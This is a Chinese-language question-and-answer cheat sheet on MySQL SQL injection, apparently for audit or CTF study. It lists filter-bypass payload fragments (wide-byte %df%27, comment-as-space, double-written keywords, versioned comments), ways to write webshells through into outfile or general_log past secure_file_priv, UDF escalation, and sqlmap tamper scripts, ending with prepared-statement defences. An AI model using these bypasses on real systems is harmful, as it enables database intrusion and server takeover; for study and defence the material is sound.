宽字节注入的条件与防御条件:客户端编码是 GBK 等双字节编码 + 转义只加 \;防御:换 UTF-8 或 character_set_client=binary%df%27 经 addslashes 变 %df%5c%27,MySQL 按 GBK 解码时 %df%5c 拼成汉字,引号逃逸。注意 mysql_set_charset 会同步客户端库编码可免疫,SET NAMES 不会。防御根本方案是弃用 GBK 并统一 utf8mb4
逗号被过滤怎么绕换无逗号语法:substr 用 from...for、limit 用 offset、联合查询用 join 子查询substr(x from 1 for 1) 替代 substr(x,1,1);limit 1 offset 9 替代 limit 9,1(注意数字对调);union select * from (select 1)a join (select 2)b 替代 union select 1,2;盲注用 case when...then...else...end
空格被过滤怎么绕/**/ 注释、其他空白字符、括号/反引号天然边界union/**/select 里 /**/ 等价空格最常用;%09 %0a %0c %0d 甚至部分环境下的 %a0 都是 MySQL 认可的空白;select(1)、`user` 这类括号/反引号包裹处紧邻关键字不需要空格
关键字被过滤怎么绕大小写混淆、双写、可执行注释、等价函数/HANDLER一次性替换用 selselectect 双写还原;大小写不敏感特性破小写匹配;/*!50000select*/ 是 MySQL 版本化可执行注释;benchmark/笛卡尔积替代 sleep;HANDLER 语句直接读表替代 select(需堆叠)
information_schema 被过滤怎么绕用影子元数据表 + 无列名注入技巧MySQL 5.6+ 查 mysql.innodb_table_stats,5.7+ 查 sys.schema_auto_increment_columns 等;列名也拿不到时用 `1`,`2` 数字别名子查询或 join...using 技巧反推数据,Duplicate column 报错还能当列名出口
into outfile 与 dumpfile 区别outfile 逐行带换行适合文本 shell,dumpfile 二进制原样写单行适合 UDFoutfile 行尾自动加换行且转义 \n \0,写一句话木马够用;dumpfile 不附加任何字符、二进制安全,写 .so/.dll 动态链接库必须用它,否则文件头被毁
into outfile 被禁/secure_file_priv 限制后的替代首选 general_log / 慢日志写 shellgeneral_log_file、slow_query_log_file 是运行时变量,不受 secure_file_priv 限制,改路径到 Web 目录再发含木马的查询即可(需堆叠);其他路线:UDF 提权、写 SSH 公钥/crontab(视 MySQL 账户权限)、写 .user.ini
GPC 绕过方式宽字节、数组传参、二次注入GBK 编码下 %df' 对 GPC/addslashes 同样有效;传 ?id[]=1 让只处理字符串的过滤函数收到数组报错或返回 NULL(键名也常没人过滤);转义入库后反斜杠被还原,出库再拼接时毫无防护
sqlmap tamper 常用脚本按过滤类型选:空格用 space2comment,关键字用 randomcase/versionedkeywords,宽字节用 unmagicquotes空格类:space2comment/space2plus;大小写:randomcase;比较符:between/equaltolike/greatest;宽字节:unmagicquotes;版本注释:versionedkeywords/halfversionedmorekeywords;引号:apostrophemask。审计时这张表就是过滤代码的自查清单
根治方案PDO/mysqli 真预编译 + 数字强转 + 无法预编译处白名单预编译让数据永远进不了语法层,是从机制上根治;务必显式关闭模拟预编译 ATTR_EMULATE_PREPARES=false;列名/表名/排序方向等不能绑参数的位置用 in_array 白名单兜底;一切黑名单/字符串替换过滤都可绕过